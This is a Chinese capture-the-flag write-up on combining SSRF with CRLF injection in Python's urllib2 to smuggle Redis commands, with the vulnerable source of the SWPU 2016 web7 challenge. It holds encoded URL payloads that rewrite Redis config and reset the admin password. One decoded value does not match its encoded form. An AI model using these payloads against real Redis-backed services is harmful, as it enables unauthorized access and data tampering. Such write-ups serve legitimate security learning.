urllib2 HTTP头部注入

文章目录

    • 注入原理
    • [例题 SWPU 2016web7](#例题 [SWPU 2016]web7)

注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入

我们以redis数据库为例,当存在SSRF时我们伪造以下请求

复制代码
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

复制代码
http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码

再次利用ssrf漏洞进行修改并保存

复制代码
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

复制代码
http://127.0.0.1
set admin 123456
save
:6379/foo

例题 SWPU 2016web7

源码

复制代码
#!/usr/bin/python 
# coding:utf8

__author__ = 'niexinming'

import cherrypy
import urllib2
import redis

class web7:
    @cherrypy.expose
    def index(self):
        return "<script> window.location.href='/input';</script>"
    @cherrypy.expose
    def input(self,url="",submit=""):
        file=open("index.html","r").read()
        reheaders=""
        if cherrypy.request.method=="GET":
            reheaders=""
        else:
            url=cherrypy.request.params["url"]
            submit=cherrypy.request.params["submit"]
            try:
                for x in urllib2.urlopen(url).info().headers:
                    reheaders=reheaders+x+"<br>"
            except Exception,e:
                reheaders="错误"+str(e)
            for x in urllib2.urlopen(url).info().headers:
                reheaders=reheaders+x+"<br>"
        file=file.replace("<?response?>",reheaders)
        return file
    @cherrypy.expose
    def login(self,password="",submit=""):
        pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
        r = redis.Redis(connection_pool=pool)
        re=""
        file=open("login.html","r").read()
        if cherrypy.request.method=="GET":
            re=""
        else:
            password=cherrypy.request.params["password"]
            submit=cherrypy.request.params["submit"]
            if r.get("admin")==password:
                re=open("flag",'r').readline()
            else:
                re="Can't find admin:"+password+",fast fast fast....."
        file=file.replace("<?response?>",re)
        return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
                        'server.socket_port': 8080,
                       })
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

复制代码
http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379

//解码如下
http://127.0.0.1
set admin 123456
:6379
相关推荐
国科安芯4 分钟前
星载CANFD总线通信网络中抗辐射微控制器MCU的失效机理与容错设计研究
网络·人工智能·分布式·单片机·嵌入式硬件·架构·抗辐射加固
石头猫灯7 分钟前
一次 CMS 被黑实录:完整事件思路梳理
android·学习
阿图灵13 分钟前
OpenCV 算术运算四件套:NOT/AND/OR 位运算与图像混合
图像处理·人工智能·python·opencv·计算机视觉·位运算
AIkk8613 分钟前
2026AI智能体培训机构客观测评|零基础到进阶全方位择校指南
学习
zcmodeltech15 分钟前
污水处理设备沙盘模型控制系统设计与实现:多单元协同联动方案
网络·分布式·stm32·单片机·嵌入式硬件·交互
边吃番茄边敲代码16 分钟前
企业智能助手Agent 安全测试,包含Prompt Injection 和越权工具调用
人工智能·python·功能测试·ai·单元测试·prompt·模块测试
KKKlucifer25 分钟前
异构融合与大规模割接——某电信运营商融合4A平台建设实践
大数据·网络·人工智能·安全
阿图灵26 分钟前
OpenCV 阈值与模糊:全局/自适应阈值、Canny 边缘检测与三种模糊
图像处理·人工智能·python·opencv·计算机视觉·边缘检测
2301_7807896626 分钟前
WAF与Web应用安全的深度融合:从边界防护到业务风控
运维·服务器·网络·云原生·ddos
M78佐菲32 分钟前
Linux学习笔记:进程回收、exec函数簇与线程
linux·笔记·学习·算法